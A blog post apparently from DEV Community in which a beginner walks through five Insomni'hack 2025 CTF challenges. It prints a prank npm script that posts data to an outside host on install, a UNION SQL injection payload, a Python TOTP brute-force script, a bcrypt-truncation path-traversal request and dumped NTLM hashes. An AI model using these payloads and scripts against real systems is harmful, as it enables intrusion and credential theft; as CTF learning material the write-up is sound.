DEV Community

Cover image for πŸ’€ Insomni'hack 2025 CTF write-up
Krypton
Krypton

Posted on

1

πŸ’€ Insomni'hack 2025 CTF write-up

Original post

The Insomni'hack 2025 CTF is a CTF hosted during the Insomni'hack conference in Lausanne, Switzerland. You had to register yourself so that you can attend to the on-site CTF. As a beginner in CTFs I decided to mostly take the easy challenges. The CTF was from March 14 (5pm UTC) to March 15 (4am UTC) 2025.

Compared to last year I was able to solve less challenges, I missed the opportunity to solve two challenges due to my lack of concentration at 2am

I mostly took part to the CTF because I was there, I know my level in CTFs is not that good as I lack of practice.. Looking back at it, I managed to only solve the easy challenges with tow of them the next day due to being a bit tired (I guess?). It makes me definitely want to improve, hence why I will try to get more into the CTFs - maybe Space Heroes will run a CTF this year...?

Welcome To Insomni'hack

This challenge was pretty straightforward. There was a repository to clone and we were supposed to run the npm run serve command after cloning it.

Considering the welcome challenge of last year, I did not wanted to run that npm run command, as I knew it would likely do some funny stuff. Looking at the package.json file, this confirmed by supposition:

{
  "name": "insomnihack-grid",
  "version": "1.0.0",
  "description": "Interactive grid game for Insomnihack",
  "main": "index.js",
  "scripts": {
    "serve": "wget --quiet --method POST --header 'Content-Type: application/json' --body-data '{\"tata\":\"shame_W3XeaSn$QMEcvgu6!!\"}' -O - https://sound.insomnihack.ch:1337/shame && lite-server --baseDir=\"src\" && lite-server --baseDir=\"src\"",
    "build": "mkdir -p dist && cp -r src/* dist/"
  },
  "keywords": ["insomnihack", "grid", "game"],
  "author": "Your Name",
  "license": "MIT",
  "devDependencies": {
    "lite-server": "^2.6.1"
  }
}
Enter fullscreen mode Exit fullscreen mode

As it can be seen, it would execute the following command

wget --quiet --method POST --header 'Content-Type: application/json' --body-data '{"tata":"shame_W3XeaSn$QMEcvgu6!!"}' -O - https://sound.insomnihack.ch:1337/shame && lite-server --baseDir="src" && lite-server --baseDir="src"
Enter fullscreen mode Exit fullscreen mode

To be fair I did not see the shame_W3XeaSn$QMEcvgu6!! JSON data at the beginning, so I've completely skipped it and moved to the src/script.js file that was available. There I cleaned up the file to only focus on more relevant data, again I did not search for flag in the file.

The resulting cleaned up script flag resulted in the following:

// Grid Configuration
// [REMOVED]

function calculateGridDimensions() {
  // [REMOVED]
}

// Progress Tracking
// [REMOVED]

function createGridCell() {
  // [REMOVED]
}

function handleGridClick() {
  // [REMOVED]
}

function updateProgress(numberIndex) {
  // [REMOVED]
}

function updateTotalProgress() {
  // [REMOVED]
}

function showCompletion() {
    // Create completion overlay
    const overlay = document.createElement('div');
    overlay.className = 'completion-overlay';

    // Create completion container
    const completionContainer = document.createElement('div');
    completionContainer.className = 'completion-logo';

    // Create COMPLETED text
    const completedText = document.createElement('span');
    completedText.className = 'completion-text';
    completedText.textContent = 'COMPLETED';

     const flagContainer = document.createElement('div');
    flagContainer.className = 'completion-flag-container';

    // Create flag
    const flag = document.createElement('div');
    flag.className = 'completion-flag';

    // Encoded flag
    const decode = (str) => {
        return decodeURIComponent(escape(atob(str)));
    };

    const encodedFlag = "SU5Te1czbENvTTNfVDBfMW5zMG1uaWg0Y0tfMjAyNSEhfQ==";
    flag.textContent = decode(encodedFlag);

    // Assemble the elements
    flagContainer.appendChild(flag);
    completionContainer.appendChild(completedText);
    completionContainer.appendChild(flagContainer);
    overlay.appendChild(completionContainer);
    document.body.appendChild(overlay);
}


function initializeGrid() {
  // [REMOVED]
}

// Event Listeners
// [REMOVED]

// Hover Effect
// [REMOVED]

// Resize handler with debounce
// [REMOVED]

// Initial grid creation
// [REMOVED]
Enter fullscreen mode Exit fullscreen mode

In that resulting code, the following line can be seen:

const encodedFlag = "SU5Te1czbENvTTNfVDBfMW5zMG1uaWg0Y0tfMjAyNSEhfQ==";
Enter fullscreen mode Exit fullscreen mode

This looks like base64, decoding it will result in INS{W3lCoM3_T0_1ns0mnih4cK_2025!!}.

v0l4til3

We were given a quite big 20250312.mem file. Looking at the name of the challenge and the size of the file, it was clear it was required to use volatility.

I've ran the windows.info command against the file and got the following result:

~/CTF/INS25/v0l4til3
πŸ•™ 23:33:35 venv ❯ vol -f 20250312.mem windows.info
Volatility 3 Framework 2.11.0
Progress:  100.00       PDB scanning finished
Variable    Value

Kernel Base 0xf80299800000
DTB 0x1aa000
Is64Bit True
IsPAE   False
layer_name  0 WindowsIntel32e
memory_layer    1 FileLayer
KdVersionBlock  0xf8029a60a7c0
Major/Minor 15.26100
MachineType 34404
KeNumberProcessors  2
SystemTime  2025-03-12 18:43:14+00:00
NtSystemRoot    C:\WINDOWS
NtProductType   NtProductWinNt
NtMajorVersion  10
NtMinorVersion  0
PE MajorOperatingSystemVersion  10
PE MinorOperatingSystemVersion  0
PE Machine  34404
PE TimeDateStamp    Wed Aug 29 17:06:46 2085
Enter fullscreen mode Exit fullscreen mode

The challenge description mentioned that the flag was the hash of the flag_user. Running the windows.hashdump command against the file resulted in the following:

User rid lmhash nthash
Administrator 500 aad3b435b51404eeaad3b435b51404ee e02bc503339d51f71d913c245d35b50b
Guest 501 aad3b435b51404eeaad3b435b51404ee 31d6cfe0d16ae931b73c59d7e0c089c0
DefaultAccount 503 aad3b435b51404eeaad3b435b51404ee 31d6cfe0d16ae931b73c59d7e0c089c0
WDAGUtilityAccount 504 aad3b435b51404eeaad3b435b51404ee 6f1c4ae67632ca364e7d105de442e569
flag_user 1001 aad3b435b51404eeaad3b435b51404ee 3fa7a000465823e4976000ac1ca9f2d1

Putting the hash in the INS{} flag format resulted in the flag: INS{3fa7a000465823e4976000ac1ca9f2d1}.

ℹ️ It may be worth mentioning that it took me more time to get volatility running... I ended up having to clone the repository and install from the repository directly, otherwise some dependencies were always missing, even though I was manually installing them.

Crack the gate

This challenge was presented in a form of a website; unfortunately I didn't take any pictures of the website as I mainly was using Burp Suite.

We were also given the source code of the app. Before looking at the source code I've seen the login page, so decided to try a simple SQL injection, which failed due to characters being invalid. So I then decided to look at the source code.

Looking at the code, it revealed the /search endpoint with a query parameter to send along. Looking at the source, it was clear this was where the SQL injection was:

@app.route("/search", methods=["GET"])
def search():
    allowed_IPs = request.headers.get("Allowed-IPs", "")
    whitelisted_ip = "localhost"
    if whitelisted_ip in allowed_IPs:
        query = request.args.get("query", "")
        if '"' in query or '*' in query:
            flash("Invalid characters detected in the search query.", "danger")
            return render_template("search.html")
        results = []
        if query:
            conn = sqlite3.connect("db/database.db")
            cursor = conn.cursor()

             # SQL injection below
            sql = f"SELECT * FROM items WHERE item_name LIKE '%{query}%'"

            cursor.execute(sql)
            results = cursor.fetchall()
            conn.close()
        return render_template("search.html", results=results)
    else:
        return render_template("403.html"), 403
Enter fullscreen mode Exit fullscreen mode

There also was a check for the Allowed-IPs header being localhost, so the request made with Burp Suite also had to contain that header.

So I requested the endpoint with the following query:

' OR 1=1 UNION SELECT username,password,password FROM users; -- 
Enter fullscreen mode Exit fullscreen mode

There was no need to dump the tables/columns names, as they were to be seen in the code for the /login endpoint:

query = "SELECT * FROM users WHERE username = ? AND password = ?"
cursor.execute(query, (username, password))
Enter fullscreen mode Exit fullscreen mode

The request resulted in the following result:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Search</title>
</head>
<body>
    <h1>Search Items</h1>
    <form method="get" action="/search">
        <input type="text" name="query" placeholder="Search for items..." required>
        <button type="submit">Search</button>
    </form>
    <h2>Search Results:</h2>
        <ul>
            <li><b>Item:</b> Laptop <br><b>Description:</b> A powerful gaming laptop.</li>
            <!-- Many more items... -->
            <li><b>Item:</b> admin <br><b>Description:</b> f!hLRXozzFhP3hM?</li>
        </ul>
</body>
</html>
Enter fullscreen mode Exit fullscreen mode

The password seemed unhashed, as it isn't in a common hashing algorithm format. After logging in with admin:f!hLRXozzFhP3hM?, a MFA page is shown.

I've seen that a JWT was added to the storage, so I decided to tamper it to contain "mfa_verified":true instead; without success as the token was signed and checked.

Looking at the code, I've seen this weird line:

totp = pyotp.TOTP(TOTP_SECRET, digits=4, interval=240)
Enter fullscreen mode Exit fullscreen mode

It was explicitly overwriting the default 6 digits and 30 seconds valid OTP time. So this made me directly think, bruteforce! Wrote a quick script to bruteforce the submission of the token with the previous, valid, JWT.

import requests

cookies = {
    "session": "eyJhdXRoZW50aWNhdGVkIjp0cnVlLCJtZmFfdmVyaWZpZWQiOmZhbHNlfQ.Z9SoeQ.d2e8568uF_fMeCTfppxK64eGO8w"
}

for n in range(10000):
    totp_code = str(n).zfill(4)
    print(f"Trying TOTP Code {totp_code}")
    r = requests.post(
        "https://crackthegate.insomnihack.ch/mfa",
        cookies=cookies,
        data={"totp_code": totp_code},
    )
    if "Enter TOTP Code:" not in r.text:
        print(r.text)
        break
Enter fullscreen mode Exit fullscreen mode

After some time I got a valid TOTP code and the page showed the flag: INS{auth_bypassed_4dm1n}.

EG101

ℹ️ This was a crypto challenge that I actually solved at around 2am, but the result being that "obvious" made me think I was wrong and I did not bother converting the data returned from hex to text...

Note to myself: Keep going, even when it seems too "simple"...

When connecting to the given host and port, we are welcomed with text like the following:

P = 9359920040557521287640188225332795304009466497049561443299088499643424200245588313061025165619294040667209797774612400137263138479335798194382908649492031, g = 3384066920714075626041222632115897899444517401444095957347004384777304561656691330065281612933459609521435296935887334868529742606809787303668660304308405
I'm Bob, I want the flag, here's g^x (mod p): 9276512785211037679173774447116113570690592352483125544287802724428191311103080319635189268810074958440535195114282820003326005815844057492966567318565496
Enter fullscreen mode Exit fullscreen mode

After looking at the source code, the flag is converted to hexadecimal and multiplied by K, where

K=(gx)ymod  p K = (gx)^y \mod p
gx = int(message.split(" ")[-1].strip())
# Alice now have g^x (mod p) from Bob, she will fist compute g^y (mod p), then K = (g^x)^y (mod p)
y = random.randint(2, PRIME - 2)
gy = mod_exp(g, y, PRIME)
K = mod_exp(gx, y, PRIME)

message = msg_to_int("INS{NOT_THE_REAL_FLAG}")
Km = (message * K) % PRIME
send_msg(f"I'm Alice, here's g^y (mod p): {gy} , here's Km (mod p): {Km}\n", client_socket)
Enter fullscreen mode Exit fullscreen mode

The data we can give will be gx, considering 1^x is alays equals to $1$, if we send $1$, we get a resulting Km to be flag * 1, so we get the plain flag.

Sending 1 gave the following back:

I'm Alice, here's g^y (mod p): ..., here's Km (mod p): 27427016322199114720750856505491100766666527541905277
Enter fullscreen mode Exit fullscreen mode

Then just convert 27427016322199114720750856505491100766666527541905277 to hex (494E537B4E4F545F5448455F5245414C5F464C41477D) and then to ASCII, which will result in the flag: INS{NOT_THE_REAL_FLAG}.

Hawkta

ℹ️ After reading this challenge at around 2:30am, I decided to move on and go to sleep. After waking up the next day I realized how "obvious" this challenge was.

There is a website with four links to various hawk pictures. The endpoints are the following:

<a href="/?file=assets/data/img/cooper-s-hawk-profile-583855629-d89e191a88d1484db08800f067ba98e8.jpg&hash=$2a$12$NmPFGriPq4VEFdx7y4XKde67/DFQgQVk/Cz.HxGWi0PV3aSk/JT12">Hawk1</a>
<a href="/?file=assets/data/img/harris_hawk_web.jpg&hash=$2a$12$hPNstQ8F.EBu8z2/EDaXROPakN5L/hix0SUQQG6I6RPu/BcvSBDmC">Hawk2</a>
<a href="/?file=assets/data/img/Hawk-146809760-612x612.jpg&hash=$2a$12$dp0lDL1FuN6irg2LB7j.EOFKte1313GSgz5DpBeTAtBY4gyCMd4KS">Hawk3</a>
<a href="/?file=assets/data/img/Hawk-534214314-612x612.jpg&hash=$2a$12$5zq3d97d5wg1vUvoquZOA.JAeM1.778eWnDgSx/ymj9v1D8d4kLEC">Hawk4</a>
<a href="/?file=assets/data/img/Red-shouldered_Hawk_Buteo_lineatus_-_Blue_Cypress_Lake_Florida.jpg&hash=$2a$12$qsfcrstGdzpRVDNH5Dq//uSK6/Z6ZSBCca7fIeoyRBBdgQk8q3rX6">Hawk5</a>
Enter fullscreen mode Exit fullscreen mode

There is a file and hash parameter sent along with the request, looking at the given source code, they are hard-coded:

// Authorized images are matched to their bcrypt hash values for maximum security
$AUTHORIZED_IMGS = [
    '$2a$12$NmPFGriPq4VEFdx7y4XKde67/DFQgQVk/Cz.HxGWi0PV3aSk/JT12' => 'assets/data/img/cooper-s-hawk-profile-583855629-d89e191a88d1484db08800f067ba98e8.jpg',
    '$2a$12$qsfcrstGdzpRVDNH5Dq//uSK6/Z6ZSBCca7fIeoyRBBdgQk8q3rX6' => 'assets/data/img/Red-shouldered_Hawk_Buteo_lineatus_-_Blue_Cypress_Lake_Florida.jpg',
    '$2a$12$hPNstQ8F.EBu8z2/EDaXROPakN5L/hix0SUQQG6I6RPu/BcvSBDmC' => 'assets/data/img/harris_hawk_web.jpg',
    '$2a$12$dp0lDL1FuN6irg2LB7j.EOFKte1313GSgz5DpBeTAtBY4gyCMd4KS' => 'assets/data/img/Hawk-146809760-612x612.jpg',
    '$2a$12$5zq3d97d5wg1vUvoquZOA.JAeM1.778eWnDgSx/ymj9v1D8d4kLEC' => 'assets/data/img/Hawk-534214314-612x612.jpg', 
    //'$2a$12$v5UW4B3/j6F5vymG0tRDx.iSz7RFlrVlH3Om3zC3QfqiG.InCuKMW' => 'flag.txt'
];
Enter fullscreen mode Exit fullscreen mode

When doing a request, the parameters are checked against the values of the $AUTHORIZED_IMGS variable.

// Check if the file is authorized and the hash is valid
if (isset($AUTHORIZED_IMGS[$provided_hash]) && password_verify($file_name, $provided_hash)) {
    header("Content-Type: image/png");
    echo readfile($file_name); // Clear LFI vulnerability
    exit();
}
Enter fullscreen mode Exit fullscreen mode

The LFI vulnerability was quite clear to me, I still tried to execute a request with hash=$2a$12$v5UW4B3/j6F5vymG0tRDx.iSz7RFlrVlH3Om3zC3QfqiG.InCuKMW and file=flag.txt; this failed.

One thing to note with bcrypt is that it only cares about the first 72 bytes. So using password_verify with the hash being, for example, the hash of 72 times A and the plaintext to verify against being 72 times A and then anything you want, will always return 1 (so valid). Example:

<?php

// 72 times A
$password = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
$hashed = password_hash($password, PASSWORD_DEFAULT);

$plaintext = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HELLO WORLD!";
echo password_verify($plaintext, $hashed); // 1

?>
Enter fullscreen mode Exit fullscreen mode

So we can take this at our advantage, looking at the file names there are two that are over 72 characters long:

  • assets/data/img/cooper-s-hawk-profile-583855629-d89e191a88d1484db08800f067ba98e8.jpg
  • assets/data/img/Red-shouldered_Hawk_Buteo_lineatus_-_Blue_Cypress_Lake_Florida.jpg

We can take one of them, pass the hash=<hash> and append ../../../../../flag.txt to the file parameter to get the content of the flag.txt file. My browser not liking having to render an image as some weird test, I had to use Burp Suite:

HTTP/1.1 200 OK
Host: localhost
Date: Sat, 15 Mar 2025 09:44:06 GMT
Connection: close
X-Powered-By: PHP/8.2.28
Content-Type: image/png

INS{NOT_THE_REAL_FLAG}
23
Enter fullscreen mode Exit fullscreen mode

Heroku

Amplify your impact where it matters most β€” building exceptional apps.

Leave the infrastructure headaches to us, while you focus on pushing boundaries, realizing your vision, and making a lasting impression on your users.

Get Started

Top comments (0)

Playwright CLI Flags Tutorial

5 Playwright CLI Flags That Will Transform Your Testing Workflow

  • 0:56 --last-failed
  • 2:34 --only-changed
  • 4:27 --repeat-each
  • 5:15 --forbid-only
  • 5:51 --ui --headed --workers 1

Learn how these powerful command-line options can save you time, strengthen your test suite, and streamline your Playwright testing experience. Click on any timestamp above to jump directly to that section in the tutorial!

Watch Full Video πŸ“ΉοΈ

πŸ‘‹ Kindness is contagious

Explore a trove of insights in this engaging article, celebrated within our welcoming DEV Community. Developers from every background are invited to join and enhance our shared wisdom.

A genuine "thank you" can truly uplift someone’s day. Feel free to express your gratitude in the comments below!

On DEV, our collective exchange of knowledge lightens the road ahead and strengthens our community bonds. Found something valuable here? A small thank you to the author can make a big difference.

Okay